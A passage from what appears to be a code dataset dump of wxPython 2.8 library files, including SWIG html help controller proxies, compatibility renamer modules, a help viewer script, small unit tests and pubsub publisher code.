\"\"\"OnQuit(self)\"\"\"\n return _html.HelpControllerBase_OnQuit(*args, **kwargs)\n\n def SetParentWindow(*args, **kwargs):\n \"\"\"SetParentWindow(self, Window win)\"\"\"\n return _html.HelpControllerBase_SetParentWindow(*args, **kwargs)\n\n def GetParentWindow(*args, **kwargs):\n \"\"\"GetParentWindow(self) -> Window\"\"\"\n return _html.HelpControllerBase_GetParentWindow(*args, **kwargs)\n\n ParentWindow = property(GetParentWindow,SetParentWindow,doc=\"See `GetParentWindow` and `SetParentWindow`\") \n_html.HelpControllerBase_swigregister(HelpControllerBase)\n\nclass HtmlHelpController(HelpControllerBase):\n \"\"\"Proxy of C++ HtmlHelpController class\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"__init__(self, int style=HF_DEFAULT_STYLE, Window parentWindow=None) -> HtmlHelpController\"\"\"\n _html.HtmlHelpController_swiginit(self,_html.new_HtmlHelpController(*args, **kwargs))\n __swig_destroy__ = _html.delete_HtmlHelpController\n __del__ = lambda self : None;\n def GetHelpWindow(*args, **kwargs):\n \"\"\"GetHelpWindow(self) -> HtmlHelpWindow\"\"\"\n return _html.HtmlHelpController_GetHelpWindow(*args, **kwargs)\n\n def SetHelpWindow(*args, **kwargs):\n \"\"\"SetHelpWindow(self, HtmlHelpWindow helpWindow)\"\"\"\n return _html.HtmlHelpController_SetHelpWindow(*args, **kwargs)\n\n def GetFrame(*args, **kwargs):\n \"\"\"GetFrame(self) -> HtmlHelpFrame\"\"\"\n return _html.HtmlHelpController_GetFrame(*args, **kwargs)\n\n def GetDialog(*args, **kwargs):\n \"\"\"GetDialog(self) -> HtmlHelpDialog\"\"\"\n return _html.HtmlHelpController_GetDialog(*args, **kwargs)\n\n def SetTitleFormat(*args, **kwargs):\n \"\"\"SetTitleFormat(self, String format)\"\"\"\n return _html.HtmlHelpController_SetTitleFormat(*args, **kwargs)\n\n def SetTempDir(*args, **kwargs):\n \"\"\"SetTempDir(self, String path)\"\"\"\n return _html.HtmlHelpController_SetTempDir(*args, **kwargs)\n\n def AddBook(*args, **kwargs):\n \"\"\"AddBook(self, String book, int show_wait_msg=False) -> bool\"\"\"\n return _html.HtmlHelpController_AddBook(*args, **kwargs)\n\n def Display(*args, **kwargs):\n \"\"\"Display(self, String x)\"\"\"\n return _html.HtmlHelpController_Display(*args, **kwargs)\n\n def DisplayID(*args, **kwargs):\n \"\"\"DisplayID(self, int id)\"\"\"\n return _html.HtmlHelpController_DisplayID(*args, **kwargs)\n\n def DisplayContents(*args, **kwargs):\n \"\"\"DisplayContents(self)\"\"\"\n return _html.HtmlHelpController_DisplayContents(*args, **kwargs)\n\n def DisplayIndex(*args, **kwargs):\n \"\"\"DisplayIndex(self)\"\"\"\n return _html.HtmlHelpController_DisplayIndex(*args, **kwargs)\n\n def KeywordSearch(*args, **kwargs):\n \"\"\"KeywordSearch(self, String keyword) -> bool\"\"\"\n return _html.HtmlHelpController_KeywordSearch(*args, **kwargs)\n\n def UseConfig(*args, **kwargs):\n \"\"\"UseConfig(self, ConfigBase config, String rootpath=EmptyString)\"\"\"\n return _html.HtmlHelpController_UseConfig(*args, **kwargs)\n\n def ReadCustomization(*args, **kwargs):\n \"\"\"ReadCustomization(self, ConfigBase cfg, String path=EmptyString)\"\"\"\n return _html.HtmlHelpController_ReadCustomization(*args, **kwargs)\n\n def WriteCustomization(*args, **kwargs):\n \"\"\"WriteCustomization(self, ConfigBase cfg, String path=EmptyString)\"\"\"\n return _html.HtmlHelpController_WriteCustomization(*args, **kwargs)\n\n def MakeModalIfNeeded(*args, **kwargs):\n \"\"\"MakeModalIfNeeded(self)\"\"\"\n return _html.HtmlHelpController_MakeModalIfNeeded(*args, **kwargs)\n\n def FindTopLevelWindow(*args, **kwargs):\n \"\"\"FindTopLevelWindow(self) -> Window\"\"\"\n return _html.HtmlHelpController_FindTopLevelWindow(*args, **kwargs)\n\n Dialog = property(GetDialog,doc=\"See `GetDialog`\") \n Frame = property(GetFrame,doc=\"See `GetFrame`\") \n HelpWindow = property(GetHelpWindow,SetHelpWindow,doc=\"See `GetHelpWindow` and `SetHelpWindow`\") \n_html.HtmlHelpController_swigregister(HtmlHelpController)\n\nclass HtmlModalHelp(object):\n \"\"\"Proxy of C++ HtmlModalHelp class\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"\n __init__(self, Window parent, String helpFile, String topic=wxEmptyString, \n int style=wxHF_DEFAULT_STYLE|wxHF_DIALOG|wxHF_MODAL) -> HtmlModalHelp\n \"\"\"\n _html.HtmlModalHelp_swiginit(self,_html.new_HtmlModalHelp(*args, **kwargs))\n_html.HtmlModalHelp_swigregister(HtmlModalHelp)\n\n\n\n", "id": "11148710", "language": "Python", "matching_score": 10.231416702270508, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/html.py" }, { "content": "## This file reverse renames symbols in the wx package to give\n## them their wx prefix again, for backwards compatibility.\n##\n## Generated by BuildRenamers in config.py\n\n# This silly stuff here is so the wxPython.wx module doesn't conflict\n# with the wx package. We need to import modules from the wx package\n# here, then we'll put the wxPython.wx entry back in sys.modules.\nimport sys\n_wx = None\nif sys.modules.has_key('wxPython.wx'):\n _wx = sys.modules['wxPython.wx']\n del sys.modules['wxPython.wx']\n\nimport wx.html\n\nsys.modules['wxPython.wx'] = _wx\ndel sys, _wx\n\n\n# Now assign all the reverse-renamed names:\nwxHtmlWindowNameStr = wx.html.HtmlWindowNameStr\nwxHtmlPrintoutTitleStr = wx.html.HtmlPrintoutTitleStr\nwxHtmlPrintingTitleStr = wx.html.HtmlPrintingTitleStr\nwxHTML_ALIGN_LEFT = wx.html.HTML_ALIGN_LEFT\nwxHTML_ALIGN_CENTER = wx.html.HTML_ALIGN_CENTER\nwxHTML_ALIGN_RIGHT = wx.html.HTML_ALIGN_RIGHT\nwxHTML_ALIGN_BOTTOM = wx.html.HTML_ALIGN_BOTTOM\nwxHTML_ALIGN_TOP = wx.html.HTML_ALIGN_TOP\nwxHTML_CLR_FOREGROUND = wx.html.HTML_CLR_FOREGROUND\nwxHTML_CLR_BACKGROUND = wx.html.HTML_CLR_BACKGROUND\nwxHTML_UNITS_PIXELS = wx.html.HTML_UNITS_PIXELS\nwxHTML_UNITS_PERCENT = wx.html.HTML_UNITS_PERCENT\nwxHTML_INDENT_LEFT = wx.html.HTML_INDENT_LEFT\nwxHTML_INDENT_RIGHT = wx.html.HTML_INDENT_RIGHT\nwxHTML_INDENT_TOP = wx.html.HTML_INDENT_TOP\nwxHTML_INDENT_BOTTOM = wx.html.HTML_INDENT_BOTTOM\nwxHTML_INDENT_HORIZONTAL = wx.html.HTML_INDENT_HORIZONTAL\nwxHTML_INDENT_VERTICAL = wx.html.HTML_INDENT_VERTICAL\nwxHTML_INDENT_ALL = wx.html.HTML_INDENT_ALL\nwxHTML_COND_ISANCHOR = wx.html.HTML_COND_ISANCHOR\nwxHTML_COND_ISIMAGEMAP = wx.html.HTML_COND_ISIMAGEMAP\nwxHTML_COND_USER = wx.html.HTML_COND_USER\nwxHTML_FONT_SIZE_1 = 0\nwxHTML_FONT_SIZE_2 = 0\nwxHTML_FONT_SIZE_3 = 0\nwxHTML_FONT_SIZE_4 = 0\nwxHTML_FONT_SIZE_5 = 0\nwxHTML_FONT_SIZE_6 = 0\nwxHTML_FONT_SIZE_7 = 0\nwxHW_SCROLLBAR_NEVER = wx.html.HW_SCROLLBAR_NEVER\nwxHW_SCROLLBAR_AUTO = wx.html.HW_SCROLLBAR_AUTO\nwxHW_NO_SELECTION = wx.html.HW_NO_SELECTION\nwxHW_DEFAULT_STYLE = wx.html.HW_DEFAULT_STYLE\nwxHTML_OPEN = wx.html.HTML_OPEN\nwxHTML_BLOCK = wx.html.HTML_BLOCK\nwxHTML_REDIRECT = wx.html.HTML_REDIRECT\nwxHTML_URL_PAGE = wx.html.HTML_URL_PAGE\nwxHTML_URL_IMAGE = wx.html.HTML_URL_IMAGE\nwxHTML_URL_OTHER = wx.html.HTML_URL_OTHER\nwxHtmlLinkInfo = wx.html.HtmlLinkInfo\nwxHtmlTag = wx.html.HtmlTag\nwxHtmlParser = wx.html.HtmlParser\nwxHtmlWinParser = wx.html.HtmlWinParser\nwxHtmlTagHandler = wx.html.HtmlTagHandler\nwxHtmlTagHandler = wx.html.HtmlTagHandler\nwxHtmlWinTagHandler = wx.html.HtmlWinTagHandler\nwxHtmlWinTagHandler = wx.html.HtmlWinTagHandler\nwxHtmlWinParser_AddTagHandler = wx.html.HtmlWinParser_AddTagHandler\nwxHtmlSelection = wx.html.HtmlSelection\nwxHTML_SEL_OUT = wx.html.HTML_SEL_OUT\nwxHTML_SEL_IN = wx.html.HTML_SEL_IN\nwxHTML_SEL_CHANGING = wx.html.HTML_SEL_CHANGING\nwxHtmlRenderingState = wx.html.HtmlRenderingState\nwxHtmlRenderingStyle = wx.html.HtmlRenderingStyle\nwxDefaultHtmlRenderingStyle = wx.html.DefaultHtmlRenderingStyle\nwxHtmlRenderingInfo = wx.html.HtmlRenderingInfo\nwxHTML_FIND_EXACT = wx.html.HTML_FIND_EXACT\nwxHTML_FIND_NEAREST_BEFORE = wx.html.HTML_FIND_NEAREST_BEFORE\nwxHTML_FIND_NEAREST_AFTER = wx.html.HTML_FIND_NEAREST_AFTER\nwxHtmlCell = wx.html.HtmlCell\nwxHtmlWordCell = wx.html.HtmlWordCell\nwxHtmlContainerCell = wx.html.HtmlContainerCell\nwxHtmlColourCell = wx.html.HtmlColourCell\nwxHtmlFontCell = wx.html.HtmlFontCell\nwxHtmlWidgetCell = wx.html.HtmlWidgetCell\nwxHtmlFilter = wx.html.HtmlFilter\nwxHtmlFilter = wx.html.HtmlFilter\nwxHtmlWindowInterface = wx.html.HtmlWindowInterface\nwxHtmlWindow = wx.html.HtmlWindow\nwxHtmlWindow = wx.html.HtmlWindow\nwxPreHtmlWindow = wx.html.PreHtmlWindow\nwxHtmlWindow_AddFilter = wx.html.HtmlWindow_AddFilter\nwxHtmlWindow_GetClassDefaultAttributes = wx.html.HtmlWindow_GetClassDefaultAttributes\nwxHtmlWindow_GetDefaultHTMLCursor = wx.html.HtmlWindow_GetDefaultHTMLCursor\nwxHtmlDCRenderer = wx.html.HtmlDCRenderer\nwxPAGE_ODD = wx.html.PAGE_ODD\nwxPAGE_EVEN = wx.html.PAGE_EVEN\nwxPAGE_ALL = wx.html.PAGE_ALL\nwxHtmlPrintout = wx.html.HtmlPrintout\nwxHtmlPrintout_AddFilter = wx.html.HtmlPrintout_AddFilter\nwxHtmlPrintout_CleanUpStatics = wx.html.HtmlPrintout_CleanUpStatics\nwxHtmlEasyPrinting = wx.html.HtmlEasyPrinting\nwxHtmlBookRecord = wx.html.HtmlBookRecord\nwxHtmlSearchStatus = wx.html.HtmlSearchStatus\nwxHtmlHelpData = wx.html.HtmlHelpData\nwxHF_TOOLBAR = wx.html.HF_TOOLBAR\nwxHF_CONTENTS = wx.html.HF_CONTENTS\nwxHF_INDEX = wx.html.HF_INDEX\nwxHF_SEARCH = wx.html.HF_SEARCH\nwxHF_BOOKMARKS = wx.html.HF_BOOKMARKS\nwxHF_OPEN_FILES = wx.html.HF_OPEN_FILES\nwxHF_PRINT = wx.html.HF_PRINT\nwxHF_FLAT_TOOLBAR = wx.html.HF_FLAT_TOOLBAR\nwxHF_MERGE_BOOKS = wx.html.HF_MERGE_BOOKS\nwxHF_ICONS_BOOK = wx.html.HF_ICONS_BOOK\nwxHF_ICONS_BOOK_CHAPTER = wx.html.HF_ICONS_BOOK_CHAPTER\nwxHF_ICONS_FOLDER = wx.html.HF_ICONS_FOLDER\nwxHF_DEFAULT_STYLE = wx.html.HF_DEFAULT_STYLE\nwxHF_EMBEDDED = wx.html.HF_EMBEDDED\nwxHF_DIALOG = wx.html.HF_DIALOG\nwxHF_FRAME = wx.html.HF_FRAME\nwxHF_MODAL = wx.html.HF_MODAL\nwxID_HTML_PANEL = wx.html.ID_HTML_PANEL\nwxID_HTML_BACK = wx.html.ID_HTML_BACK\nwxID_HTML_FORWARD = wx.html.ID_HTML_FORWARD\nwxID_HTML_UPNODE = wx.html.ID_HTML_UPNODE\nwxID_HTML_UP = wx.html.ID_HTML_UP\nwxID_HTML_DOWN = wx.html.ID_HTML_DOWN\nwxID_HTML_PRINT = wx.html.ID_HTML_PRINT\nwxID_HTML_OPENFILE = wx.html.ID_HTML_OPENFILE\nwxID_HTML_OPTIONS = wx.html.ID_HTML_OPTIONS\nwxID_HTML_BOOKMARKSLIST = wx.html.ID_HTML_BOOKMARKSLIST\nwxID_HTML_BOOKMARKSADD = wx.html.ID_HTML_BOOKMARKSADD\nwxID_HTML_BOOKMARKSREMOVE = wx.html.ID_HTML_BOOKMARKSREMOVE\nwxID_HTML_TREECTRL = wx.html.ID_HTML_TREECTRL\nwxID_HTML_INDEXPAGE = wx.html.ID_HTML_INDEXPAGE\nwxID_HTML_INDEXLIST = wx.html.ID_HTML_INDEXLIST\nwxID_HTML_INDEXTEXT = wx.html.ID_HTML_INDEXTEXT\nwxID_HTML_INDEXBUTTON = wx.html.ID_HTML_INDEXBUTTON\nwxID_HTML_INDEXBUTTONALL = wx.html.ID_HTML_INDEXBUTTONALL\nwxID_HTML_NOTEBOOK = wx.html.ID_HTML_NOTEBOOK\nwxID_HTML_SEARCHPAGE = wx.html.ID_HTML_SEARCHPAGE\nwxID_HTML_SEARCHTEXT = wx.html.ID_HTML_SEARCHTEXT\nwxID_HTML_SEARCHLIST = wx.html.ID_HTML_SEARCHLIST\nwxID_HTML_SEARCHBUTTON = wx.html.ID_HTML_SEARCHBUTTON\nwxID_HTML_SEARCHCHOICE = wx.html.ID_HTML_SEARCHCHOICE\nwxID_HTML_COUNTINFO = wx.html.ID_HTML_COUNTINFO\nwxHtmlHelpWindow = wx.html.HtmlHelpWindow\nwxPreHtmlHelpWindow = wx.html.PreHtmlHelpWindow\nwxHtmlCellEvent = wx.html.HtmlCellEvent\nwxHtmlLinkEvent = wx.html.HtmlLinkEvent\nwxHtmlHelpFrame = wx.html.HtmlHelpFrame\nwxPreHtmlHelpFrame = wx.html.PreHtmlHelpFrame\nwxHtmlHelpDialog = wx.html.HtmlHelpDialog\nwxPreHtmlHelpDialog = wx.html.PreHtmlHelpDialog\nwxHelpControllerBase = wx.html.HelpControllerBase\nwxHtmlHelpController = wx.html.HtmlHelpController\nwxHtmlModalHelp = wx.html.HtmlModalHelp\n\n\n", "id": "2356438", "language": "Python", "matching_score": 6.660950660705566, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wxPython/html.py" }, { "content": "# The contents of the old wxPython.htmlhelp module have been moved\n# into the wx.html module in the new scheme. This module will help\n# with backwards compatibility by making those symbols visible in\n# wxPython.htmlhelp again.\n\n\nimport wxPython.wx\nimport wxPython.html\n\nwxHtmlBookRecord = wxPython.html.wxHtmlBookRecord\nwxHtmlSearchStatus = wxPython.html.wxHtmlSearchStatus\nwxHtmlHelpData = wxPython.html.wxHtmlHelpData\nwxHtmlHelpFrame = wxPython.html.wxHtmlHelpFrame\nwxHtmlHelpController = wxPython.html.wxHtmlHelpController\nwxHF_TOOLBAR = wxPython.html.wxHF_TOOLBAR\nwxHF_CONTENTS = wxPython.html.wxHF_CONTENTS\nwxHF_INDEX = wxPython.html.wxHF_INDEX\nwxHF_SEARCH = wxPython.html.wxHF_SEARCH\nwxHF_BOOKMARKS = wxPython.html.wxHF_BOOKMARKS\nwxHF_PRINT = wxPython.html.wxHF_PRINT\n", "id": "6944763", "language": "Python", "matching_score": 1.593419075012207, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wxPython/htmlhelp.py" }, { "content": "#----------------------------------------------------------------------\n# Name: wx.tools.helpviewer\n# Purpose: HTML Help viewer\n#\n# Author: <NAME>\n#\n# Created: 11-Dec-2002\n# RCS-ID: $Id: helpviewer.py 45966 2007-05-11 18:54:09Z RD $\n# Copyright: (c) 2002 by Total Control Software\n# Licence: wxWindows license\n#----------------------------------------------------------------------\n\n\"\"\"\nhelpviewer.py -- Displays HTML Help in a wxHtmlHelpController window.\n\nUsage:\n helpviewer [--cache=path] helpfile [helpfile(s)...]\n\n Where helpfile is the path to either a .hhp file or a .zip file\n which contians a .hhp file. The .hhp files are the same as those\n used by Microsoft's HTML Help Workshop for creating CHM files.\n\"\"\"\n\n\nimport sys, os\n\n#---------------------------------------------------------------------------\n\ndef makeOtherFrame(helpctrl):\n import wx\n parent = helpctrl.GetFrame()\n otherFrame = wx.Frame(parent)\n \n\ndef main(args=sys.argv):\n if len(args) < 2:\n print __doc__\n return\n\n args = args[1:]\n cachedir = None\n if args[0][:7] == '--cache':\n cachedir = os.path.expanduser(args[0].split('=')[1])\n args = args[1:]\n\n if len(args) == 0:\n print __doc__\n return\n\n import wx\n import wx.html\n\n app = wx.PySimpleApp()\n #wx.Log.SetActiveTarget(wx.LogStderr())\n wx.Log.SetLogLevel(wx.LOG_Error)\n\n # Set up the default config so the htmlhelp frame can save its preferences\n app.SetVendorName('wxWidgets')\n app.SetAppName('helpviewer')\n cfg = wx.ConfigBase.Get()\n\n # Add the Zip filesystem\n wx.FileSystem.AddHandler(wx.ZipFSHandler())\n\n # Create the viewer\n helpctrl = wx.html.HtmlHelpController()\n if cachedir:\n helpctrl.SetTempDir(cachedir)\n\n # and add the books\n for helpfile in args:\n print \"Adding %s...\" % helpfile\n helpctrl.AddBook(helpfile, 1)\n\n # The frame used by the HtmlHelpController is set to not prevent\n # app exit, so in the case of a standalone helpviewer like this\n # when the about box or search box is closed the help frame will\n # be the only one left and the app will close unexpectedly. To\n # work around this we'll create another frame that is never shown,\n # but which will be closed when the helpviewer frame is closed.\n wx.CallAfter(makeOtherFrame, helpctrl)\n\n # start it up!\n helpctrl.DisplayContents()\n app.MainLoop()\n\n\nif __name__ == '__main__':\n main()\n\n\n", "id": "6841512", "language": "Python", "matching_score": 0.6924233436584473, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/tools/helpviewer.py" }, { "content": "#!/usr/bin/env python\n\"\"\"PyFilling is a python namespace inspection application.\"\"\"\n\n__author__ = \"<NAME> <<EMAIL>>\"\n__cvsid__ = \"$Id: PyFilling.py 63479 2010-02-14 05:24:22Z RD $\"\n__revision__ = \"$Revision: 63479 $\"[11:-2]\n\n# We use this object to get more introspection when run standalone.\napp = None\n\nimport filling\n\n# These are imported just to have something interesting to inspect.\nimport crust\nimport interpreter\nimport introspect\nimport pseudo\nimport shell\nimport sys\nimport wx\n\nclass App(filling.App):\n def OnInit(self):\n filling.App.OnInit(self)\n self.root = self.fillingFrame.filling.tree.root\n return True\n\ndef main():\n \"\"\"Create and run the application.\"\"\"\n global app\n app = App(0)\n app.fillingFrame.filling.tree.Expand(app.root)\n app.MainLoop()\n\nif __name__ == '__main__':\n main()\n", "id": "9736801", "language": "Python", "matching_score": 2.395441770553589, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/py/PyFilling.py" }, { "content": "\"\"\"The py package, formerly the PyCrust package.\"\"\"\n\n__author__ = \"<NAME> <<EMAIL>>\"\n__cvsid__ = \"$Id: __init__.py 63479 2010-02-14 05:24:22Z RD $\"\n__revision__ = \"$Revision: 63479 $\"[11:-2]\n\nimport buffer\nimport crust\nimport crustslices\nimport dispatcher\nimport document\nimport editor\nimport editwindow\nimport filling\nimport frame\nimport images\nimport interpreter\nimport introspect\nimport pseudo\nimport shell\nimport sliceshell\nimport version\n", "id": "6789459", "language": "Python", "matching_score": 0.7003211379051208, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/py/__init__.py" }, { "content": "#!/usr/bin/env python\n\n__author__ = \"<NAME> <<EMAIL>>\"\n__cvsid__ = \"$Id: test_pseudo.py 24541 2003-11-12 21:34:20Z RD $\"\n__revision__ = \"$Revision: 24541 $\"[11:-2]\n\nimport unittest\n\n# Import from this module's parent directory.\nimport os\nimport sys\nsys.path.insert(0, os.pardir)\nimport pseudo\ndel sys.path[0]\ndel sys\ndel os\n\n\n\"\"\"\nThese unittest methods are preferred:\n-------------------------------------\nself.assert_(expr, msg=None)\nself.assertEqual(first, second, msg=None)\nself.assertRaises(excClass, callableObj, *args, **kwargs)\nself.fail(msg=None)\nself.failIf(expr, msg=None)\n\"\"\"\n\n\nclass ModuleTestCase(unittest.TestCase):\n\n def test_module(self):\n module = pseudo\n self.assert_(module.__author__)\n self.assert_(module.__cvsid__)\n self.assert_(module.__revision__)\n self.assert_(module.PseudoFile)\n self.assert_(module.PseudoFileErr)\n self.assert_(module.PseudoFileIn)\n self.assert_(module.PseudoFileOut)\n self.assert_(module.PseudoKeyword)\n\n\nclass PseudoTestCase(unittest.TestCase):\n\n def setUp(self):\n pass\n\n def tearDown(self):\n pass\n\n\nclass PseudoFileTestCase(unittest.TestCase):\n\n def setUp(self):\n pass\n\n def tearDown(self):\n pass\n\n\nclass PseudoFileOutTestCase(unittest.TestCase):\n\n def setUp(self):\n pass\n\n def tearDown(self):\n pass\n\n def _write(self):\n pass\n\n def test_PseudoFileOut_goodInit(self):\n self.assert_(pseudo.PseudoFileOut(write=self._write))\n\n def test_PseudoFileOut_badInit(self):\n self.assertRaises(ValueError, pseudo.PseudoFileOut, write='bad')\n\n\nif __name__ == '__main__':\n unittest.main()\n", "id": "12115093", "language": "Python", "matching_score": 3.850883960723877, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/py/tests/test_pseudo.py" }, { "content": "#!/usr/bin/env python\n\n__author__ = \"<NAME> <<EMAIL>>\"\n__cvsid__ = \"$Id: test_version.py 24541 2003-11-12 21:34:20Z RD $\"\n__revision__ = \"$Revision: 24541 $\"[11:-2]\n\nimport unittest\n\nimport types\n\n# Import from this module's parent directory.\nimport os\nimport sys\nsys.path.insert(0, os.pardir)\nimport version\ndel sys.path[0]\ndel sys\ndel os\n\n\n\"\"\"\nThese unittest methods are preferred:\n-------------------------------------\nself.assert_(expr, msg=None)\nself.assertEqual(first, second, msg=None)\nself.assertRaises(excClass, callableObj, *args, **kwargs)\nself.fail(msg=None)\nself.failIf(expr, msg=None)\n\"\"\"\n\n\nclass ModuleTestCase(unittest.TestCase):\n\n def test_module(self):\n module = version\n self.assert_(module.__author__)\n self.assert_(module.__cvsid__)\n self.assert_(module.__revision__)\n self.assert_(module.VERSION)\n\n\nclass VersionTestCase(unittest.TestCase):\n\n def test_VERSION(self):\n self.assert_(type(version.VERSION) is types.StringType)\n\n\nif __name__ == '__main__':\n unittest.main()\n", "id": "3506234", "language": "Python", "matching_score": 0.27494344115257263, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/py/tests/test_version.py" }, { "content": "'''\nProvides the Publisher class, which manages subscribing callables to \ntopics and sending messages. \n\n:copyright: Copyright 2006-2009 by <NAME>, all rights reserved.\n:license: BSD, see LICENSE.txt for details.\n\n'''\n\nfrom topicmgr import TopicManager, TreeConfig\n\n\nclass PublisherBase:\n '''\n Represent the class that send messages to listeners of given \n topics and that knows how to subscribe/unsubscribe listeners\n from topics. \n '''\n def __init__(self, treeConfig = None):\n '''If treeConfig is None, a default one is created from an\n instance of topics.TreeConfig.'''\n self.__treeConfig = treeConfig or TreeConfig()\n self.__topicMgr = TopicManager(self.__treeConfig)\n \n def getTopicMgr(self):\n '''Get the topic manager created for this publisher.'''\n return self.__topicMgr\n \n def getListenerExcHandler(self):\n '''Get the listener exception handler that was registered\n via setListenerExcHandler(), or None of none registered.'''\n return self.__treeConfig.listenerExcHandler\n\n def setListenerExcHandler(self, handler):\n '''Set the handler to call when a listener raises an exception\n during a sendMessage(). Without a handler, the send operation\n aborts, whereas with one, the exception information is sent to\n it (where it can be logged, printed, whatever), and\n sendMessage() continues to send messages to remaining listeners.\n The handler must adhere to the pubsub.utils.exchandling.IExcHandler\n API. '''\n self.__treeConfig.listenerExcHandler = handler\n\n def addNotificationHandler(self, handler):\n '''The handler should be a class that adheres to the API of\n pubsub.utils.INotificationHandler. Whenever one of several\n special operations is performed on pubsub (such as sendMessage),\n each handler registered will get a notification with appropriate\n information about the event. '''\n self.__treeConfig.notificationMgr.addHandler(handler)\n\n def clearNotificationHandlers(self):\n '''Remove all notification handlers that were added via\n self.addNotificationHandler(). '''\n self.__treeConfig.notificationMgr.clearHandlers()\n \n def setNotificationFlags(self, **kwargs):\n '''Set the notification flags on or off for each supported\n notification type.'''\n self.__treeConfig.notificationMgr.setFlagStates(**kwargs)\n\n def getNotificationFlags(self):\n '''Return a dictionary with the states'''\n return self.__treeConfig.notificationMgr.getFlagStates()\n\n def setTopicUnspecifiedFatal(self, newVal=True, checkExisting=True):\n '''Changes the creation policy for topics. \n \n If newVal=False, then any future pubsub operation that requires \n a topic to be created without a listener specification being \n available, will succeed. This is the default behavior for the \n pubsub package. This makes pubsub easier to use, but allows topic \n names with typos to go uncaught in common operations such as \n sendMessage() and subscribe(). Note that checkExisting is not \n used for newVal=False.\n \n When called with newVal=True, any future pubsub operation that\n requires a topic to be created without a listener specification being \n available, will cause pubsub to raise a ListenerSpecIncomplete\n exception. If checkExisting is not given or True, all existing\n topics are validated. A ListenerSpecIncomplete exception will be\n raised if one is found to be incomplete (has isSendable() false).\n \n The previous value of the setting is returned. \n \n A listener specification is only available to pubsub during a call to \n pub.subscribe() and a two-argument call to pub.getOrCreateTopic().\n Operations that prefer or require a specification but are not \n given one, such as sendMessage() and the one-argument call to \n getOrCreateTopic(), will query each Topic Definition Provider\n registered via pub.addTopicDefnProvider() (if any) until one is\n found. If none is found, the operation will either A. continue\n silently with a non-sendable topic (ie one without a listener\n specification), or B. raise a ListenerSpecIncomplete. Default\n pubsub behavior is (A). Using newVal=True changes this to B,\n newVal=False changes this back to A.\n\n Note that this method can be used in several ways:\n\n 1. Only use it in your application when something is not working\n as expected: just add a call at the beginning of your app when\n you have a problem with topic messages not being received\n (for instance), and remove it when you have fixed the problem.\n\n 2. Use it from the beginning of your app and never use newVal=False:\n add a call at the beginning of your app and you leave it in\n (forever), and use Topic Definition Providers to provide the\n listener specifications. These are easy to use via the\n pub.importTopicTree().\n\n 3. Use it as in #1 during app development, and once stable, use\n #2. This is easiest to do in combination with\n pub.exportTopicTree().\n '''\n oldVal = self.__treeConfig.raiseOnTopicUnspecified\n self.__treeConfig.raiseOnTopicUnspecified = newVal\n\n if newVal and checkExisting:\n self.__topicMgr.checkAllTopicsSpecifed()\n \n return oldVal\n\n def __call__(self):\n '''For backwards compatilibity with pubsub v1 (wxPython).'''\n return self\n \n def sendMessage(self, topicName, *args, **kwargs):\n '''This will be overridden by derived classes that implement\n message-sending for different messaging protocols.'''\n raise NotImplementedError\n \n def subscribe(self, listener, topicName):\n '''Subscribe listener to named topic. Raises ListenerInadequate\n if listener isn't compatible with the topic's args. Returns\n (pub.Listener, success), where success is False if listener was already\n subscribed. The pub.Listener wraps the listener subscribed and\n provides various introspection-based info about the listener. \n\n Note that if 'subscribe' notification is on, the handler's\n 'notifySubscribe' method is called after subscription.'''\n topicObj = self.__topicMgr.getOrCreateTopic(topicName)\n subscribedListener, success = topicObj.subscribe(listener)\n return subscribedListener, success\n\n def unsubscribe(self, listener, topicName):\n '''Unsubscribe from given topic. Returns the pub.Listener \n instance that was used to wrap listener at subscription\n time. Raises an UndefinedTopic or UndefinedSubtopic if\n topicName doesn't exist.\n \n Note that if 'unsubscribe' notification is on, the handler's \n notifyUnsubscribe() method will be called after unsubscribing. '''\n topicObj = self.__topicMgr.getTopic(topicName)\n unsubdLisnr = topicObj.unsubscribe(listener)\n \n return unsubdLisnr\n \n def unsubAll(self, topicName = None, \n listenerFilter = None, topicFilter = None):\n '''By default (no args given), unsubscribe all listeners from all\n topics. A listenerFilter can be given so that only the listeners\n that satisfy listenerFilter(listener) == True will be unsubscribed\n (with listener being a pub.Listener wrapper instance for each listener\n subscribed). A topicFilter can also be given so that only topics\n that satisfy topicFilter(topic name) == True will be affected. \n If only one topic should have listeners unsubscribed, then a topic \n name 'topicName' can be given *instead* instead of a topic filter. \n \n Returns the list of all listeners (instances of pub.Listener) that \n were unsubscribed from the topic tree).\n\n Note: this method will generate one 'unsubcribe' notification message\n (see pub.setNotificationFlags()) for each listener unsubscribed.'''\n unsubdListeners = []\n \n if topicName is None: \n # unsubscribe all listeners from all topics\n topicsMap = self.__topicMgr._topicsMap\n for topicName, topicObj in topicsMap.iteritems():\n if topicFilter is None or topicFilter(topicName):\n tmp = topicObj.unsubscribeAllListeners(listenerFilter)\n unsubdListeners.extend(tmp)\n \n else:\n topicObj = self.__topicMgr.getTopic(topicName)\n unsubdListeners = topicObj.unsubscribeAllListeners(listenerFilter)\n \n return unsubdListeners\n\n\n", "id": "10199346", "language": "Python", "matching_score": 5.191587924957275, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/lib/pubsub/core/publisherbase.py" }, { "content": "'''\nThis is the top-level API to pubsub, API version 3. It provides\nfunctions for sending messages, subscribing listeners to receive\nmessages, and various auxiliary functions. It also exposes several\nclasses such as Topic, Listener, Publisher, and many more that could\nbe used in advanced pub-sub applications.\n\nNote that many functions in this module actually make use of a\nPublisher and TopicManager instance created upon import. \n\nTODO: add isMsgReceivable(listener, topicName) to find out if listener is\n subscribed to topicName or any of its subtopics. \n\n:copyright: Copyright 2006-2009 by <NAME>, all rights reserved.\n:license: BSD, see LICENSE.txt for details.\n\n'''\n\nPUBSUB_VERSION = 3 # DO NOT 